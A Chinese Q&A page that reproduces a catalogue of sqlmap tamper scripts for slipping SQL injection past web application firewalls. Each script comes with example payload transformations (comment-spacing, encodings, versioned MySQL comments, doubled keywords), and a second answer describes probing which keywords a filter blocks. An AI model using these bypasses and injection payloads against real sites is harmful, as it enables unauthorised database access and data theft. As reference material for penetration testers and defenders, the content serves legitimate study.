问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

sqlmap的tamper过waf关键字过滤 将select变为selecSELECTt的函数是哪...

发布网友 发布时间:2022-04-23 08:27

我来回答

2个回答

懂视网 时间:2022-05-01 04:26

 

0x00 背景


sqlmap中的tamper脚本来对目标进行更高效的攻击。

由于乌云知识库少了sqlmap-tamper 收集一下,方便学习。 根据sqlmap中的tamper脚本可以学习过绕过一些技巧。 我收集在找相关的案例作为可分析什么环境使用什么tamper脚本。 小学生毕业的我,着能偷偷说一下多做一些收集对吸收知识很快。

0x01 start


脚本名:apostrophemask.py


作用:用utf8代替引号

1 Example: ("1 AND ‘1‘=‘1") ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871‘

Tested against: all

脚本名:equaltolike.py


作用:like 代替等号

1 2 3 4 5 Example:   *   Input: SELECT * FROM users WHERE id=1   *   Output: SELECT * FROM users WHERE id LIKE 1

案例一: http://wooyun.org/bugs/wooyun-2010-087296

案例二: http://wooyun.org/bugs/wooyun-2010-074790

案例三:http://wooyun.org/bugs/wooyun-2010-072489

脚本名:space2dash.py


作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)

1 Example: (‘1 AND 9227=9227‘) ‘1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227‘

Tested against: * MSSQL * SQLite

案例一:http://wooyun.org/bugs/wooyun-2010-062878

脚本名:greatest.py


作用:绕过过滤’>’ ,用GREATEST替换大于号。

1 Example: (‘1 AND A > B‘) ‘1 AND GREATEST(A,B+1)=A‘ Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

脚本名:space2hash.py


作用:空格替换为#号 随机字符串 以及换行符

1 2 3 4 Example:   *   Input: 1 AND 9227=9227 *   Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

  • MySQL Tested against:

  • MySQL 4.0, 5.0

  • 参考:法克的一篇文章

    脚本名:apostrophenullencode.py


    作用:绕过过滤双引号,替换字符和双引号。

    1 Example: tamper("1 AND ‘1‘=‘1") ‘1 AND %00%271%00%27=%00%271‘

    Tested against:

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

  • 脚本名:halfversionedmorekeywords.py


    作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

    1 2 3 Example:   ("value‘ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa‘=‘QDWa") "value‘/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa‘=‘QDWa"

    Requirement:

  • MySQL < 5.1
  • Tested against:

  • MySQL 4.0.18, 5.0.22
  • 脚本名:space2morehash.py


    作用:空格替换为 #号 以及更多随机字符串 换行符

    1 2 3 4 5 Example:   * Input: 1 AND 9227=9227   * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

    Requirement: * MySQL >= 5.1.13 Tested

    against: * MySQL 5.1.41

    案例一:91ri一篇文章

    脚本名:appendnullbyte.py


    作用:在有效负荷结束位置加载零字节字符编码

    1 Example: (‘1 AND 1=1‘) ‘1 AND 1=1%00‘

    Requirement:

  • Microsoft Access
  • 脚本名:ifnull2ifisnull.py


    作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

    1 2 3 Example:   (‘IFNULL(1, 2)‘) ‘IF(ISNULL(1),2,1)‘

    Requirement:

  • MySQL

  • SQLite (possibly)

  • SAP MaxDB (possibly)

  • Tested against:

  • MySQL 5.0 and 5.5
  • 脚本名:space2mssqlblank.py(mssql)


    作用:空格替换为其它空符号

    Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

    Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

    ASCII table:


    案例一: wooyun.org/bugs/wooyun-2010-062878

    脚本名:base64encode.py


    作用:用base64编码替换 Example: ("1‘ AND SLEEP(5)#") ‘MScgQU5EIFNMRUVQKDUpIw==‘ Requirement: all

    案例一: http://wooyun.org/bugs/wooyun-2010-060071

    案例二: http://wooyun.org/bugs/wooyun-2010-021062

    案例三: http://wooyun.org/bugs/wooyun-2010-043229

    脚本名:space2mssqlhash.py


    作用:替换空格

    1 Example: (‘1 AND 9227=9227‘) ‘1%23%0AAND%23%0A9227=9227‘ Requirement: * MSSQL * MySQL

    脚本名:modsecurityversioned.py


    作用:过滤空格,包含完整的查询版本注释

    1 Example: (‘1 AND 2>1--‘) ‘1 /*!30874AND 2>1*/--‘

    Requirement: * MySQL

    Tested against:

  • MySQL 5.0
  • 脚本名:space2mysqlblank.py


    作用:空格替换其它空白符号(mysql)

    1 2 3 4 5 Example:   * Input: SELECT id FROM users   * Output: SELECT%0Bid%0BFROM%A0users

    Requirement:

  • MySQL
  • Tested against:

  • MySQL 5.1
  • 案例一:wooyun.org/bugs/wooyun-2010-076735

    脚本名:between.py


    作用:用between替换大于号(>)

    1 Example: (‘1 AND A > B--‘) ‘1 AND A NOT BETWEEN 0 AND B--‘

    Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

  • 案例一:wooyun.org/bugs/wooyun-2010-068815

    脚本名:space2mysqldash.py


    作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

    注:之前有个mssql的 这个是mysql的

    1 Example: (‘1 AND 9227=9227‘) ‘1--%0AAND--%0A9227=9227‘

    Requirement:

  • MySQL

  • MSSQL

  • 脚本名:multiplespaces.py


    作用:围绕SQL关键字添加多个空格

    1 Example: (‘1 UNION SELECT foobar‘) ‘1 UNION SELECT foobar‘

    Tested against: all

    案例一: wooyun.org/bugs/wooyun-2010-072489

    脚本名:space2plus.py


    作用:用+替换空格

    1 Example: (‘SELECT id FROM users‘) ‘SELECT+id+FROM+users‘ Tested against: all

    脚本名:bluecoat.py


    作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

    1 Example: (‘SELECT id FROM users where id = 1‘) ‘SELECT%09id FROM users where id LIKE 1‘

    Tested against:

  • MySQL 5.1, SGOS
  • 脚本名:nonrecursivereplacement.py


    双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

    1 Example: (‘1 UNION SELECT 2--‘) ‘1 UNIOUNIONN SELESELECTCT 2--‘ Tested against: all

    脚本名:space2randomblank.py


    作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集

    1 Example: (‘SELECT id FROM users‘) ‘SELECT%0Did%0DFROM%0Ausers‘

    Tested against: all

    脚本名:sp_password.py


    作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

    1 Example: (‘1 AND 9227=9227-- ‘) ‘1 AND 9227=9227-- sp\_password‘ Requirement: * MSSQL

    脚本名:chardoubleencode.py


    作用: 双url编码(不处理以编码的)

    1 2 3 4 5 Example:   * Input: SELECT FIELD FROM%20TABLE   * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

    脚本名:unionalltounion.py


    作用:替换UNION ALL SELECT UNION SELECT

    Example: (‘-1 UNION ALL SELECT‘) ‘-1 UNION SELECT‘

    Requirement: all

    脚本名:charencode.py


    作用:url编码

    1 2 3 4 5 Example:   *   Input: SELECT FIELD FROM%20TABLE   *   Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

    tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

  • 脚本名:randomcase.py


    作用:随机大小写 Example:

  • Input: INSERT
  • Output: InsERt
  • Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

  • 脚本名:unmagicquotes.py


    作用:宽字符绕过 GPC addslashes

    1 2 3 4 5 Example:   * Input: 1′ AND 1=1   * Output: 1%bf%27 AND 1=1–%20

    脚本名:randomcomments.py


    作用:用/**/分割sql关键字

    1 2 3 Example:   INSERT’ becomes ‘IN//S//ERT’

    脚本名:charunicodeencode.py


    作用:字符串 unicode 编码

    1 2 3 4 5 Example:   * Input: SELECT FIELD%20FROM TABLE   * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

    Requirement:

  • ASP

  • ASP.NET

  • Tested against:

  • Microsoft SQL Server 2000

  • Microsoft SQL Server 2005

  • MySQL 5.1.56

  • PostgreSQL 9.0.3

  • 案例一: wooyun.org/bugs/wooyun-2010-074261

    脚本名:securesphere.py


    作用:追加特制的字符串

    1 Example: (‘1 AND 1=1‘) "1 AND 1=1 and ‘0having‘=‘0having‘"

    Tested against: all

    脚本名:versionedmorekeywords.py


    作用:注释绕过

    1 2 3 4 5 Example:   * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#   * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

    Requirement:

  • MySQL >= 5.1.13
  • 脚本名:space2comment.py


    作用:Replaces space character (‘ ‘) with comments ‘/**/’

    1 2 3 4 5 Example:   * Input: SELECT id FROM users   * Output: SELECT//id//FROM/**/users

    Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

  • 案例一:wooyun.org/bugs/wooyun-2010-046496

    脚本名:halfversionedmorekeywords.py


    作用:关键字前加注释

    1 2 3 4 5 Example:   * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=‘QDWa   * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=‘QDWa

    Requirement:

  • MySQL < 5.1
  • Tested against:

  • MySQL 4.0.18, 5.0.22
  • 收集于: http://www.91ri.org/7852.html http://www.91ri.org/7869.html http://www.91ri.org/7860.html

    原文链接:http://drops.wooyun.org/tools/4760

    使用sqlmap中tamper脚本绕过waf

    标签:

    热心网友 时间:2022-05-01 01:34

    但很多时候还是得静下来分析过滤系统到底过滤了哪些参数,该如何绕过。
    sqlmap中的tamper给我们带来了很多防过滤的脚本,非常实用,可能有的朋友还不知道怎样才能最有效的利用tamper脚本。
    当然使用脚本之前需要确定的就是系统过滤了哪些关键字,比如单引号、空格、select、union、admin等等。
    所以有的时候我们会发现,注入成功了但是mp不出数据,很可能是select被过滤了等等原因。
    如何判断使用哪个脚本
    最简单的办法就是在url参数中手工带入关键词,判断是否被过滤。
    如图:
    直接加个单引号被过滤,说明注入时单引号是没法用的。

    空格、等于号都没有过滤,成功报错。

    select被过滤。
    以此类推,当sqlmap注入出现问题时,比如不出数据,就要检查对应的关键词是否被过滤。
    比如空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py等等。
    声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
    求好看的重生文,不要重生回到以前的,女主性格不能软弱无能,不能太... 求双洁的娱乐圈小说(男女主或攻受一定要都身心干净,并且要重生的 )可 ... ...文笔一定要好 重生娱乐圈什么的都无所谓 一定要是婚后的! 浙江高考成绩理科专科排名查询怎么查啊,最好给网站谢谢 各高校是怎么依照高考成绩录取 四不像是什么样的动物 孔家后人为什么要把“四不像”刻在孔府内的照壁上? 中国龙和外国龙的区别西方龙的区别 山东省烟台市高新技术产业开发区的车牌号是什么? 电脑重装系统按个键-(电脑重装系统按个键没反应) 宇航员飞上太空必备的东西有哪些? 怎么绕过网站安全狗 除了火,还有什么东西能让我们飞上太空 航天员上太空要带什么东西? 为什么sql注释符能绕过waf 宇航员上太空时,会带什么东西上去? 怎么绕过网站防火墙? 3d相册怎么添加背景音乐 如何绕过WAF/NGWAF的libinjection实现SQL注入 苹果手机照的照片我要加音乐背景来衬托怎么用 宇宙飞船是用什么材料做成的 sql注入怎样绕过waf网 编辑照片再加背景音乐进去的软件有哪些? 黑客是怎么绕过waf的 美图秀秀如何载入自己喜欢的背景音乐? 生葵花籽仁怎么做才好吃啊? 梦见苍蝇叮在葵花籽上被干走? 怎么才能把葵花籽炒的皮毛光亮? 瓜子怎么煮好吃不上火 买风水葫芦带几个葵花籽干什么? 哪些东西能飞上太空 如何绕过cloudflare打开网页 小鸡蛋怎么做才好吃 生活中有哪些东西运用的太空科技 怎么绕过安全狗? 除了人造卫星可以飞上太空,还有什么能飞上太空 渗透中为什么编码可以绕过某些过滤? 除了宇宙飞船还有哪些东西能飞上太空,有什么东西能飞上太空 什么东西可以飞上太空,初了 宇宙飞船 还有能可以飞上太空的? 母鸡里边的小鸡蛋能吃吗 还可以把什么东西带上太空筛选出优良品种 坐火箭上太空需要准备哪些东西? 迷你小鸡蛋怎么做 把望远镜放到太空当中去,人们是怎么做的? 小鸡蛋(初生蛋)与大鸡蛋的营养成分不一样吗 除了送跑车上太空,马斯克还送什么东西上太空? 利用sqlmap注入时,发现站点对空格进行了过滤,可以使用什么脚本来绕过 财务管理学:贝塔系数计算问题,请给出详细计算过程或方法 普通人想要进入太空,应该做哪些准备? 太空资源都有什么(一)?